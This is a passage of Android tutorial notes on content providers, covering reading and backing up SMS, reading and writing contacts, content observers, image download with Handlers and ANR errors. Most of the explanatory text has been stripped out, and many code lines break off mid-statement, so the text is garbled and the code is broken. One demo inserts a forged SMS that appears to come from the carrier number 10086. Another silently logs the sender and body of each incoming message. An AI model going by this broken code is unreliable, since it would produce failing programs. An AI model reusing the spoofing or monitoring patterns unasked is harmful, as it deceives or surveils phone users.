				sURLMatcher.addURI("sms",	"outbox",	SMS_OUTBOX);
				sURLMatcher.addURI("sms",	"outbox/#",	SMS_OUTBOX_ID);
				sURLMatcher.addURI("sms",	"undelivered",	SMS_UNDELIVERED);
				sURLMatcher.addURI("sms",	"failed",	SMS_FAILED);
				sURLMatcher.addURI("sms",	"failed/#",	SMS_FAILED_ID);



				sURLMatcher.addURI("sms",	"queued",	SMS_QUEUED);
				sURLMatcher.addURI("sms",	"conversations",	SMS_CONVERSATIONS);
				sURLMatcher.addURI("sms",	"conversations/*",	SMS_CONVERSATIONS_ID
				sURLMatcher.addURI("sms",	"raw",	SMS_RAW_MESSAGE);
				sURLMatcher.addURI("sms",	"attachments",	SMS_ATTACHMENT);
				sURLMatcher.addURI("sms",	"attachments/#",	SMS_ATTACHMENT_ID);
				sURLMatcher.addURI("sms",	"threadID",	SMS_NEW_THREAD_ID);
				sURLMatcher.addURI("sms",	"threadID/*",	SMS_QUERY_THREAD_ID);
				sURLMatcher.addURI("sms",	"status/#",	SMS_STATUS_ID);
				sURLMatcher.addURI("sms",	"sr_pending",	SMS_STATUS_PENDING);
				sURLMatcher.addURI("sms",	"icc",	SMS_ALL_ICC);
				sURLMatcher.addURI("sms",	"icc/#",	SMS_ICC);
	
				//we	keep	these	for	not	breaking	old	applications
				sURLMatcher.addURI("sms",	"sim",	SMS_ALL_ICC);
				sURLMatcher.addURI("sms",	"sim/#",	SMS_ICC);
				sConversationProjectionMap.put(Sms.Conversations.SNIPPET,
								"sms.body	AS	snippet");
				sConversationProjectionMap.put(Sms.Conversations.THREAD_ID,
								"sms.thread_id	AS	thread_id");
				sConversationProjectionMap.put(Sms.Conversations.MESSAGE_COUNT,
								"groups.msg_count	AS	msg_count");
				sConversationProjectionMap.put("delta",	null);
}

4	

//	1
ContentResolver	resolver	=	this.getContentResolver();
//	2ContentProvider
Uri	uri=	Uri.parse("content://sms");
Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
//	projection	,null,
while	(cursor.moveToNext())	{
				Log.i(TAG,	"" );
				String	address	=	cursor.getString(cursor.getColumnIndex("address"));//	
				long	date	=	cursor.getLong(cursor.getColumnIndex("date"));//	



//			type	=	cursor.getType(cursor.getColumnIndex("type"));
//	10(API	level	11	(current	 min	is	8):	)
				String	subject	=	cursor.getString(cursor.getColumnIndex("subject"));
				String	body	=	cursor.getString(cursor.getColumnIndex("body"));
				SmsInfo	smsInfo	=	new	SmsInfo(address,	date,	subject,	body);
				listSmsInfos.add(smsInfo);
}

5ListView

	

xml



XmlSerializablexml

--------------------------

/**
	*	2xml
	*	
	*	@param	view
	*/
public	void	backupSms(View	view)	{
				try	{
								readSmss();
								SmsUtils.backupsms(listSmsInfos);
								Toast.makeText(this,	"~~~" ,	0).show();



				}	catch	(Exception	e)	{
								Toast.makeText(this,	"" ,	0).show();
								e.printStackTrace();
				}
}
------------------------
/**
					*	list
					*/
				private	void	readSmss()	{
								listSmsInfos	=	new	ArrayList<SmsInfo>();
								//	1
								ContentResolver	resolver	=	this.getContentResolver();
								//	2ContentProvider
								Uri	uri=	Uri.parse("content://sms");
								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
								//	projection	,null,
								while	(cursor.moveToNext())	{
												Log.i(TAG,	"" );
												String	address	=	cursor.getString(cursor.getColumnIndex("address"));
												long	date	=	cursor.getLong(cursor.getColumnIndex("date"));//	
//												int	type	=	cursor.getType(cursor.getColumnIndex("type"));//	10
(API	level	11	(current	min	is	8):	)
												String	subject	=	cursor.getString(cursor.getColumnIndex("subject"));
												String	body	=	cursor.getString(cursor.getColumnIndex("body"));
												SmsInfo	smsInfo	=	new	SmsInfo(address,	date,	subject,	body);
												listSmsInfos.add(smsInfo);
								}
				}
---------------------------------
public	class	SmsUtils	{
				/**
					*	 xml
					*	
					*	@param	listsSmsInfos
					*	@throws	Exception
					*/



				public	static	void	backupsms(List<SmsInfo>	listsSmsInfos)	throws	Exception	{
								String	storageState	=	Environment.getExternalStorageState();//	 sdcard
								System.out.println("sdcard" 	+	storageState);
								if	(!Environment.MEDIA_MOUNTED.equals(storageState))	{
												System.out.println("sdcard" 	+	storageState);
												throw	new	Exception("SDcard" );
								}
								//	1,xml
								XmlSerializer	xSerializer	=	Xml.newSerializer();
								//	2.
								File	file	=	new	File(Environment.getExternalStorageDirectory(),
																"backup.xml");
								FileOutputStream	fos	=	new	FileOutputStream(file);
								xSerializer.setOutput(fos,	"utf-8");
								//	3.xml.
								xSerializer.startDocument("utf-8",	true);
								xSerializer.startTag(null,	"smss");
								for	(SmsInfo	smsInfo	:	listsSmsInfos)	{
												xSerializer.startTag(null,	"sms");
												xSerializer.startTag(null,	"body");
												xSerializer.text("</body>"	+	smsInfo.getBody());
												xSerializer.endTag(null,	"body");
												xSerializer.startTag(null,	"address");
												xSerializer.text(smsInfo.getAddress());
												xSerializer.endTag(null,	"address");
												xSerializer.startTag(null,	"date");
												xSerializer.text(String.valueOf(smsInfo.getDate()));
												xSerializer.endTag(null,	"date");
												xSerializer.endTag(null,	"sms");
								}
								xSerializer.endTag(null,	"smss");
								xSerializer.endDocument();
								fos.close();
				}
}



				/**
					*	
					*	
					*	@param	view
					*/
				public	void	click(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								ContentValues	values	=	new	ContentValues();
								values.put("address",	"10086");
								values.put("body",	"5" );
								values.put("date",	System.currentTimeMillis());
								values.put("type",	1);
								Uri	url	=	Uri.parse("content://sms");
								resolver.insert(url,	values);
				}

android:layout_centerHorizontal="true"	//

android:layout_centerVertical="true"	//

android:layout_gravity ="center_horizontal"

android:layout_gravity ="center_vertical"
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1contacts

/data/data/com.android.providers.contacts/databases/contacts2.db

2contactsauthorities

android:authorities="contacts;com.android.contacts"

3ContactsProvider2.javactrl+F,UriMatcher

matcher.addURI(ContactsContract.AUTHORITY,	"raw_contacts",	RAW_CONTACTS);

43

ContentProvider

1raw_contactsid(contact_id)

2cursordata

dataraw_contactsdatadatamimetype_idmimetypemimetype_id

3javabeanList



4ListListView

1

a)	

b)	ListView



2

3

MainActivity.java
	
import	java.util.List;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.ListView;
import	android.widget.TextView;
import	cn.zengfansheng.domain.ContactInfo;
import	cn.zengfansheng.service.ContactInfoProvider;
	
public	class	MainActivity	extends	Activity	{
				private	ListView	lV;
				private	List<ContactInfo>	allContacts;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{



								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								lV	=	(ListView)	this.findViewById(R.id.lv_contacts);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	getSysContacts(View	view)	{
								allContacts	=	ContactInfoProvider.getAllContacts(this);
								lV.setAdapter(new	MyAdapter());
				}
				private	class	MyAdapter	extends	BaseAdapter	{
								@Override
								public	int	getCount()	{
												return	allContacts.size();
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												
												View	view	=	View.inflate(MainActivity.this,	R.layout.list_contacts,	null);
												TextView	tv_name	=	(TextView)	view.findViewById(R.id.tv_name);
												TextView	tv_email	=	(TextView)	view.findViewById(R.id.tv_email);
												TextView	tv_phone	=	(TextView)	view.findViewById(R.id.tv_phone);
												
												ContactInfo	contactInfo	=	allContacts.get(position);
												tv_name.setText(contactInfo.getName());
												tv_email.setText(contactInfo.getEmail());
												tv_phone.setText(contactInfo.getPhone());
												
												return	view;
												//	return	null;//	2
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;



								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
				}
}
-------------------------------------
ContactInfoProvider.java	
import	java.util.ArrayList;
import	java.util.List;
import	android.content.ContentResolver;
import	android.content.Context;
import	android.database.Cursor;
import	android.net.Uri;
import	cn.zengfansheng.domain.ContactInfo;
	
public	class	ContactInfoProvider	{
				/**
					*	
					*	
					*	@param	context
					*	@return
					*/
				public	static	List<ContactInfo>	getAllContacts(Context	context)	{
	
								List<ContactInfo>	lInfos	=	new	ArrayList<ContactInfo>();
	
								//	1raw_contactsid(contact_id)
								ContentResolver	resolver	=	context.getContentResolver();
	
								Uri	contactUri	=	Uri.parse("content://com.android.contacts/raw_contacts");
								Uri	dataUri	=	Uri.parse("content://com.android.contacts/data");
	
								Cursor	contactcursor	=	resolver.query(contactUri,	new	String[]	{	"contact_id"
	
								while	(contactcursor.moveToNext())	{



	
												String	contactId	=	contactcursor.getString(0);//	0
	
												ContactInfo	contactInfo	=	new	ContactInfo();
	
									if	(contactId	!=	null)	{	//	3
	
												//	2contactIddata
												Cursor	datacursor	=	resolver.query(dataUri,	null,	"raw_contact_id=?",	new
{contactId},	null);
												while	(datacursor.moveToNext())	{
	
																String	data1	=	datacursor.getString(datacursor.getColumnIndex("data1"
																String	mimetype	=	datacursor.getString(datacursor.getColumnIndex("mimetype"
	
//																String	mimetype	=	datacursor.getString(datacursor.getColumnIndex("mimetype_id"));
																//	1datadataraw_contactsmimetype_id mimetype,
																/*String[]	columnNames	=	datacursor.getColumnNames();
																for	(String	string	:	columnNames)	{
																				System.out.println(string);
																}*/
	
																if	("vnd.android.cursor.item/email_v2".equals(mimetype))	{
																				contactInfo.setEmail(data1);
																}	else	if	("vnd.android.cursor.item/name".equals(mimetype))	{
																				contactInfo.setName(data1);
																}	else	if	("vnd.android.cursor.item/phone_v2".equals(mimetype))	{
																				contactInfo.setPhone(data1);
																}
																System.out.println("-------------------");
												}
									}
												lInfos.add(contactInfo);
								}
								return	lInfos;
				}
}



1

android.permission.READ_CONTACTS

2mimetype_iddataraw_contactsdatamimetype_idmimetype

cursor.getColumnNames()

String[]	columnNames	=	datacursor.getColumnNames();
				for	(String	string	:	columnNames)	{
				System.out.println(string);
}
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//	1raw_contactsid

//	araw_contacts_idnewId

//	b)	1

//	c)	raw_contacts

//	2iddata

import	android.app.Activity;
import	android.content.ContentResolver;
import	android.content.ContentValues;
import	android.database.Cursor;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.Toast;
	
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**



					*	
					*	
					*	@param	view
					*/
				public	void	writeContacts(View	view)	{
	
								Uri	contactUri	=	Uri.parse("content://com.android.contacts/raw_contacts");
								Uri	dataUri	=	Uri.parse("content://com.android.contacts/data");
								
								ContentResolver	resolver	=	this.getContentResolver();
	
								//	1raw_contactsid
								//	araw_contacts_idnewId
								Cursor	cursor	=	resolver.query(contactUri,	new	String[]
{"_id"},	null,	null,	null);
								cursor.moveToLast();
								int	_id	=	cursor.getInt(cursor.getColumnIndex("_id"));
								cursor.close();
								//	b)	1
								int	newContactId	=	_id	+	1;
								//	c)	raw_contacts
								ContentValues	values	=	new	ContentValues();
								values.put("contact_id",	newContactId);
								resolver.insert(contactUri,	values);
	
								//	TODO	
								System.out.println("id:" +newContactId);
	
								//	2iddata
	
								ContentValues	nameValues	=	new	ContentValues();
								nameValues.put("raw_contact_id",	newContactId);
								nameValues.put("data1",	"hacket" );
								nameValues.put("mimetype",	"vnd.android.cursor.item/name");	//	
	
								ContentValues	emailValues	=	new	ContentValues();
								emailValues.put("raw_contact_id",	newContactId);



								emailValues.put("data1",	"qqq@qqq.com.cn");
								emailValues.put("mimetype",	"vnd.android.cursor.item/email_v2");
	
								ContentValues	phoneValues	=	new	ContentValues();
								phoneValues.put("raw_contact_id",	newContactId);
								phoneValues.put("data1",	"18974677184");
								phoneValues.put("mimetype",	"vnd.android.cursor.item/phone_v2");
								resolver.insert(dataUri,	nameValues);
								resolver.insert(dataUri,	emailValues);
								resolver.insert(dataUri,	phoneValues);
								
								Toast.makeText(this,	"" ,	0).show();
				}
}

android.permission.READ_CONTACTS

android.permission.WRITE_CONTACTS



resolver.registerContentObserver(uri,	true,	new	MyContentObserver(new	Handler()));

notifyForDescendents	true urifalsetrue

import	android.app.Activity;
import	android.content.ContentResolver;
import	android.database.ContentObserver;
import	android.database.Cursor;
import	android.net.Uri;
import	android.os.Bundle;
import	android.os.Handler;
import	android.util.Log;
import	android.view.View;
	
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	click(View	view)	{
	
								ContentResolver	resolver	=	this.getContentResolver();



								Uri	uri	=	Uri.parse("content://sms");
	
								resolver.registerContentObserver(uri,	true,	new	MyContentObserver(
																new	Handler()));
								//	notifyForDescendents	true urifalsetrue
								//	new	Handler()	
				}
	
				private	class	MyContentObserver	extends	ContentObserver	{
								private	static	final	String	TAG	=	"MainActivity";
								public	MyContentObserver(Handler	handler)	{
												super(handler);
								}
								@Override
								public	void	onChange(boolean	selfChange)	{
												super.onChange(selfChange);
	
												//	Log.i(TAG,	"");
												//
	
												ContentResolver	resolver	=	MainActivity.this.getContentResolver();
	
												Uri	uri	=	Uri.parse("content://sms");
	
												Cursor	cursor	=	resolver.query(uri,	new	String[]
{"address","body"},	null,	null,	null);
	
												cursor.moveToFirst();
												String	address	=	cursor.getString(cursor.getColumnIndex("address"));
												String	body	=	cursor.getString(cursor.getColumnIndex("body"));
												Log.i(TAG,	"" 	+	address);
												Log.i(TAG,	"" +body);
								}

				}



<uses-permission	android:name="android.permission.READ_CONTACTS"/>
<uses-permission	android:name="android.permission.READ_SMS"/>



ContentObserver

ContentObserver

1

getContext().getContentResolver().notifyChange(Uri.parse("content://aaa.bbb.cccc"

ContentObserver

uriuri

nullContentObserver

2



Uri	uri	=	Uri.parse("content://aaa.bbb.cccc");

getContentResolver().registerContentObserver(uri,	true,	new	MyObserver(new	Handler

A——

			@Override
				public	Uri	insert(Uri	uri,	ContentValues	values)	{
								int	result	=	mather.match(uri);
								if(result==OK){//	
												SQLiteDatabase	db	=	helper.getWritableDatabase();
												db.insert("person",	null,	values);
												db.close();
												System.out.println("...." );
												getContext().getContentResolver().notifyChange(Uri.parse("content://aaa.bbb.cccc"
								}else{
												throw	new	IllegalArgumentException(",.." );
								}
								return	null;
				}
	
				@Override
				public	int	delete(Uri	uri,	String	selection,	String[]	selectionArgs)	{
								int	result	=	mather.match(uri);
								if(result==OK){//	
												SQLiteDatabase	db	=	helper.getWritableDatabase();
												db.delete("person",	selection,	selectionArgs);
												db.close();
												getContext().getContentResolver().notifyChange(Uri.parse("content://aaa.bbb.cccc"
								}else{
												throw	new	IllegalArgumentException(",.." );
								}
								return	0;
				}
	
				@Override
				public	int	update(Uri	uri,	ContentValues	values,	String	selection,



												String[]	selectionArgs)	{
								int	result	=	mather.match(uri);
								if(result==OK){//	
												SQLiteDatabase	db	=	helper.getWritableDatabase();
												db.update("person",	values,	selection,	selectionArgs);
												db.close();
												getContext().getContentResolver().notifyChange(Uri.parse("content://aaa.bbb.cccc"
								}else{
												throw	new	IllegalArgumentException(",.." );
								}
								return	0;
				}
——A
	
/**
					*	2insert
					*	
					*	@param	view
					*/
				public	void	insert(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								ContentValues	values	=	new	ContentValues();
								values.put("name",	"" );
								values.put("phone",	"110");
//								Uri	url	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/insert");
								Uri	uri	=	Uri.parse("content://com.itheima.db/person");
								resolver.insert(uri,	values);
								Log.i(TAG,	"" );
				}
				/**
					*	3update
					*	
					*	@param	view
					*/
				public	void	update(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								//	Uri	uri	=



								//	Uri.parse("content://cn.zengfansheng.db.personprovider/person/update");
								Uri	uri	=	Uri.parse("content://com.itheima.db/person");
								ContentValues	values	=	new	ContentValues();
								values.put("phone",	"1111111111");
								int	update	=	resolver.update(uri,	values,	"name=?",new	String[]	{	"" 	});
								if	(update	>	0)	{
												Log.i(TAG,	"" );
								}
				}
				/**
					*	4delete
					*	
					*	@param	view
					*/
				public	void	delete(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
//								Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/delete");
								Uri	uri	=	Uri.parse("content://com.itheima.db/person");
								int	delete	=	resolver.delete(uri,	"name=?",	new	String[]	{	"" 	});
								if	(delete	>	0)	{
												Log.i(TAG,	"" );
								}
				}
	
A——
	
import	android.app.Activity;

import	android.database.ContentObserver;

import	android.net.Uri;

import	android.os.Bundle;

import	android.os.Handler;

	

public	class	MainActivity	extends	Activity	{

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								Uri	uri	=	Uri.parse("content://aaa.bbb.cccc");



								this.getContentResolver().registerContentObserver(uri,	true,

																new	MyObserver(new	Handler()));

				}

	

				private	class	MyObserver	extends	ContentObserver	{

	

								public	MyObserver(Handler	handler)	{

												super(handler);

								}

								@Override

								public	void	onChange(boolean	selfChange)	{

												System.out.println("" );

												super.onChange(selfChange);

								}

				}

}



	

package	cn.zengfansheng.imageview;
	
import	java.io.IOException;
import	java.io.InputStream;



import	java.net.HttpURLConnection;
import	java.net.MalformedURLException;
import	java.net.URL;
import	android.app.Activity;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.os.Bundle;
import	android.text.TextUtils;
import	android.view.View;
import	android.widget.EditText;
import	android.widget.ImageView;
import	android.widget.Toast;
	
public	class	MainActivity	extends	Activity	{
	
				private	EditText	et_url;
				private	ImageView	iv_image;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv_image	=	(ImageView)	this.findViewById(R.id.iv_image);
								et_url	=	(EditText)	this.findViewById(R.id.et_url);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	viewImage(View	view)	{
								
								new	Thread()	{	//	Thread
												@Override
												public	void	run()	{
	
																//	:						4.0
																//		.



																try	{
																				//	1 url
																				String	url	=	et_url.getText().toString();
																				if	(TextUtils.isEmpty(url))	{
																								Toast.makeText(MainActivity.this,	"url" ,	0)
																																.show();
																								return;
																				}
	
																				//	2 url
																				URL	imageUrl	=	new	URL(url);
	
																				//	3HttpURLConnection
																				HttpURLConnection	conn	=	(HttpURLConnection)	imageUrl
																												.openConnection();
	
																				//	4
																				conn.setRequestMethod("GET");//	 http	get	/	post	
																																																				//	
																				conn.setConnectTimeout(5000);//	
																				conn.setReadTimeout(5000);//	
																				String	userAgent	=	"Mozilla/4.0	(compatible;	MSIE	8.0;	Windows	NT	6.1;	WOW64;	Trident/4.0;	SLCC2;	.NET	CLR	2.0.50727;	.NET	CLR	3.5.30729;	.NET	CLR	3.0.30729;	Media	Center	PC	6.0;	.NET4.0C)"
																				conn.setRequestProperty("User-Agent",	userAgent);
	
																				//	5
																				int	code	=	conn.getResponseCode();
	
																				if	(code	==	200)	{	//	
	
																								InputStream	in	=	conn.getInputStream();//	
																								Bitmap	bitmap	=	BitmapFactory.decodeStream(in);
																								iv_image.setImageBitmap(bitmap);
	
																				}	else	{
																								Toast.makeText(MainActivity.this,	"" ,	0).show();
																				}
																}	catch	(MalformedURLException	e)	{



																				e.printStackTrace();
																				Toast.makeText(MainActivity.this,	"" ,	0).show();
																}	catch	(IOException	e)	{
																				e.printStackTrace();
																				Toast.makeText(MainActivity.this,	"" ,	0).show();
																}
												}
								}.start();
				}
}

( 3,)

1					4.0

//		.

10-14	12:29:31.336:	E/AndroidRuntime(24430):	Caused	by:	android.os.NetworkOnMainThreadException



2

10-14	12:39:21.748:	E/AndroidRuntime(25369):	java.lang.SecurityException:	Permission	denied	(missing	INTERNET	



3 android.view.ViewRootImpl$CalledFromWrongThreadException:	Only	the	original	thread	that	created	a	view	hierarchy	can	touch	its	

UI

android

android.view.viewroot$calledfromwrongthreadexception:	only	the	original	thread	that	created	a	view	hierarchy	can	touch	its	

((view	 hierachy)(view))

(ui)
1:activity.oncreate(bundle	 savedinstancestate)handler	

[java]	

01.	 public	class	ExampleActivity	extends	Activity	{		
02.	 				Handler	h	=	null;		
03.	 				@override		
04.	 				public	void	onCreate(Bundle	savedinstancestate){		
05.	 								h	=	new	Handler(){		
06.	 												@override		
07.	 												public	void	handleMessage(Message	msg){		
08.	 																//	call	update	gui	method.		
09.	 												}		
10.	 								};		
11.	 				}		
12.	 }		

	

	 sendposth

2activity.runonuithread(runnable)

http://blog.csdn.net/vincent_czz/article/details/7070354
http://blog.csdn.net/vincent_czz/article/details/7070354


uirunnableuirunnableactivity.runonuithread(runnable)	
	
	

4 10-14	16:58:13.065:	E/AndroidRuntime(4876):	java.lang.RuntimeException:	Can't	create	handler	

handlerLooper.loop()

Handler	handler	=	new	Handler()	{
				@Override
				public	void	handleMessage(Message	msg)	{
								super.handleMessage(msg);
								iv_image.setImageBitmap(bitmap);
				}
};
handler.sendEmptyMessage(0);

Handler



ANR

ANR	:
	
application	not	response.	.
	
1ui			
	
2android.		.	
.
	
3 :
				a)	ui
				b)	.
				c)		anr
	
4ANR:
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Responsive
Android Activity	Manager
Window	Manager

6 Android
ANRApplication	No	Response

Android Activity 5 ANR

import	android.app.Activity;
import	android.os.Bundle;



import	android.view.View;
	
public	class	MainActivity	extends	Activity	{
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
	
				public	void	click(View	view){
								try	{
												Thread.sleep(8000);
								}	catch	(InterruptedException	e)	{
												e.printStackTrace();
								}
				}
	
}



Android

Android
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.
A			+		+100
B	 												-	 	-20
	
UI
UI
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import	android.app.Activity;
import	android.os.Bundle;
import	android.os.Handler;
import	android.os.Message;
import	android.widget.TextView;
	
public	class	MainActivity	extends	Activity	{
	
				//	1.handler	
				private	Handler	handler	=	new	Handler(){
	
								//	
								public	void	handleMessage(android.os.Message	msg)	{
	
												//	3.,, handlemessage
												//		.



												int	i	=	(Integer)	msg.obj;
												//	tv.setText(i);//int
												// int	setTextAndroid	ID	bug
												//	 intString
												tv.setText(":" 	+	i);
								};
				};
	
				private	TextView	tv;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								getMainLooper();
	
								tv	=	(TextView)	findViewById(R.id.tv);
								new	Thread()	{
												public	void	run()	{
	
																for	(int	i	=	0;	i	<	100;	i++)	{
																				//	2.handler,
																				Message	msg	=	new	Message();
																				msg.obj	=	i;
																				handler.sendMessage(msg);
																				//	tv.setText(":"+i);
																				try	{
																								Thread.sleep(100);
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																}
												};
								}.start();
				}



}

bug	:

10-14	18:54:42.774:	E/AndroidRuntime(9628):	android.content.res.Resources$NotFoundException

public	void	handleMessage(Message	msg)	{
						int	i	=	(Integer)	msg.obj;
						tv.setText(i);
}
iintandroidR
	
AndroidBug
android.content.res.Resources$NotFoundException:	String	resource	ID	#0x0	ID	#0x0

int	setText	 Android	ID	bug	





Final

uiHandler

message

Messagemsg.whatmsg.obj

protected	static	final	int	SET_IMAGE	=	1;

protected	static	final	int	ERROR	=	2;

protected	static	final	int	FAILED	=	3;

Message	message	=	new	Message();
message.what	=	SET_IMAGE;//int
message.obj	=	bitmap;
handler.sendMessage(message);
	
Message	msg	=	new	Message();
msg.what	=	FAILED;
handler.sendMessage(msg);
	
Message	msg	=	new	Message();
msg.what	=	ERROR;
handler.sendMessage(msg);

				protected	static	final	int	SET_IMAGE	=	1;
				protected	static	final	int	ERROR	=	2;
				protected	static	final	int	FAILED	=	3;
	
				private	EditText	et_url;
				private	ImageView	iv_image;



	
				Handler	handler	=	new	Handler()	{
								@Override
								public	void	handleMessage(Message	msg)	{
												super.handleMessage(msg);
												switch	(msg.what)	{
												case	ERROR:
																Toast.makeText(MainActivity.this,	"url" ,	0).show();
																break;
												case	SET_IMAGE:
																Bitmap	bitmap	=	(Bitmap)	msg.obj;
																iv_image.setImageBitmap(bitmap);
																break;
												case	FAILED:
																Toast.makeText(MainActivity.this,	"" ,	0).show();
																break;
												}
								}
				};
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv_image	=	(ImageView)	this.findViewById(R.id.iv_image);
								et_url	=	(EditText)	this.findViewById(R.id.et_url);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	viewImage(View	view)	{
								
								new	Thread()	{	//	Thread
												@Override
												public	void	run()	{
																//	:						4.0



																//		.
																try	{
																				//	1 url
																				String	url	=	et_url.getText().toString().trim();
																				if	(TextUtils.isEmpty(url))	{
																								Looper.prepare();
																								Message	msg	=	new	Message();
																								msg.what	=	ERROR;
																								handler.sendMessage(msg);
//																								Toast.makeText(MainActivity.this,	" url",	0).show();
																								return;
																				}
																				//	2 url
																				URL	imageUrl	=	new	URL(url);
																				//	3HttpURLConnection
																				HttpURLConnection	conn	=	(HttpURLConnection)	imageUrl
																												.openConnection();
																				//	4
																				conn.setRequestMethod("GET");//	 http	get	/	post	
																																																				//	
																				conn.setConnectTimeout(5000);//	
																				conn.setReadTimeout(5000);//	
																				String	userAgent	=	"Mozilla/4.0	(compatible;	MSIE	8.0;	Windows	NT	6.1;	WOW64;	Trident/4.0;	SLCC2;	.NET	CLR	2.0.50727;	.NET	CLR	3.5.30729;	.NET	CLR	3.0.30729;	Media	Center	PC	6.0;	.NET4.0C)"
																				conn.setRequestProperty("User-Agent",	userAgent);
																				//	5
																				int	code	=	conn.getResponseCode();
																				if	(code	==	200)	{	//	
																								InputStream	in	=	conn.getInputStream();//	
																								//	iv_image.setImageBitmap(bitmap);
																								Bitmap	bitmap	=	BitmapFactory.decodeStream(in);
																								Message	message	=	new	Message();
																								message.what	=	SET_IMAGE;
																								message.obj	=	bitmap;
																								handler.sendMessage(message);
																				}	else	{
																								//	Toast.makeText(MainActivity.this,	"",	0).show();
																				}



																}	catch	(MalformedURLException	e)	{
																				e.printStackTrace();
																				Message	msg	=	new	Message();
																				msg.what	=	FAILED;
																				handler.sendMessage(msg);
																				//	Toast.makeText(MainActivity.this,	"",	0).show();
																}	catch	(IOException	e)	{
																				e.printStackTrace();
																				Message	msg	=	new	Message();
																				msg.what	=	FAILED;
																				handler.sendMessage(msg);
																				//	Toast.makeText(MainActivity.this,	"",	0).show();
																}
												}
								}.start();
				}

}





_

	

//	7	
					File	imageFile	=	new	File(MainActivity.this.getCacheDir(),getFileName(url));	
					if	(imageFile	!=	null	&&	imageFile.exists())	{
								iv_image.setImageURI(Uri.parse(imageFile.toString()));
								Log.i(TAG,	"" );
					}else	{
								Log.i(TAG,	"" );
					}
	
//	6
				File	file	=	new	File(MainActivity.this.getCacheDir(),	getFileName(url));
				FileOutputStream	fos	=	new	FileOutputStream(file);
				int	len	=	0;
				byte[]	buf	=	new	byte[1024];
				while	((len	=	in.read(buf))	!=	-1)	{
								fos.write(buf,	0,	len);																												
				}
	

public	class	MainActivity	extends	Activity	{
	
				protected	static	final	int	SET_IMAGE	=	1;
				protected	static	final	int	ERROR	=	2;
				protected	static	final	int	FAILED	=	3;
	
				protected	static	final	String	TAG	=	"MainActivity";
	
				private	EditText	et_url;



				private	ImageView	iv_image;
	
				Handler	handler	=	new	Handler()	{
								@Override
								public	void	handleMessage(Message	msg)	{
												super.handleMessage(msg);
												switch	(msg.what)	{
												case	ERROR:
																Toast.makeText(MainActivity.this,	"url" ,	0).show();
																break;
												case	SET_IMAGE:
																Bitmap	bitmap	=	(Bitmap)	msg.obj;
																iv_image.setImageBitmap(bitmap);
																break;
												case	FAILED:
																Toast.makeText(MainActivity.this,	"" ,	0).show();
																break;
												}
								}
				};
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv_image	=	(ImageView)	this.findViewById(R.id.iv_image);
								et_url	=	(EditText)	this.findViewById(R.id.et_url);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	viewImage(View	view)	{
								
								//	1 url,
								final	String	url	=	et_url.getText().toString().trim();
								if	(TextUtils.isEmpty(url))	{



												Looper.prepare();
												Message	msg	=	new	Message();
												msg.what	=	ERROR;
												handler.sendMessage(msg);
												//	Toast.makeText(MainActivity.this,	" url",	0).show();
												return;
								}
								
								//	7	
								File	imageFile	=	new	File(MainActivity.this.getCacheDir(),getFileName(url));	
								if	(imageFile	!=	null	&&	imageFile.exists())	{
												iv_image.setImageURI(Uri.parse(imageFile.toString()));
												Log.i(TAG,	"" );
								}else	{
												Log.i(TAG,	"" );
												
												new	Thread()	{	//	Thread
																//	:					
																//	4.0,.
																@Override
																public	void	run()	{
																				try	{
																								//	2 url
																								URL	imageUrl	=	new	URL(url);
																								//	3HttpURLConnection
																								HttpURLConnection	conn	=	(HttpURLConnection)	imageUrl
																																.openConnection();
				
																								//	4
																								conn.setRequestMethod("GET");//	 http	get	/	post	
																								conn.setConnectTimeout(5000);//	
																								conn.setReadTimeout(5000);//	
																								String	userAgent	=	"Mozilla/4.0	(compatible;	MSIE	8.0;	Windows	NT	6.1;	WOW64;	Trident/4.0;	SLCC2;	.NET	CLR	2.0.50727;	.NET	CLR	3.5.30729;	.NET	CLR	3.0.30729;	Media	Center	PC	6.0;	.NET4.0C)"
																								conn.setRequestProperty("User-Agent",	userAgent);
				
																								//	5
																								int	code	=	conn.getResponseCode();



																								if	(code	==	200)	{	//	
																												InputStream	in	=	conn.getInputStream();//	
				
																												//	6
